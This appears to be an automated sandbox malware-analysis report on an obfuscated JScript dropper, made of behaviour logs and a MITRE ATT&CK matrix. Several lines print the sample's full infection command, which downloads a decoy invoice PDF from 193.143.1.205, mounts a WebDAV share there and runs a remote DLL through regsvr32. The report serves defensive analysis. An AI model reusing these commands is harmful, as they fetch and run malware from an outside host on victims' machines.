Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2248.js.csv");ITextStream.WriteLine(" entry:2370 f:ntmmhom");ITextStream.WriteLine(" exec:2 f:ntmmhom");ITextStream.WriteLine(" entry:5 o: f:eval a0:%22ltobo%3D%5B1031%2C3079%2C5127%2C4103%2C2055%2C3072%5D%3Bvar%20rzlmyhviu%3Dthis%5Bjvwcwhl%2Bxsoan%2Batuvaluad%2Boxobmr%2Bndohzs%2Beozff%2Bcfuvli%2Bfczbyko%5D(this%5Byqlfhulut%2Bfjrdmkg%2Bousrices%2Batu");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49717

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4620			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5226			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7472	Thread sleep count: 4620 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7472	Thread sleep count: 5226 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7536	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7572	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7456	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7584	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7772	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8056	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2221290306.0000016308F7E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2220954923.0000016308F18000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3446988768.000001A256258000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3445356250.000001A250C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
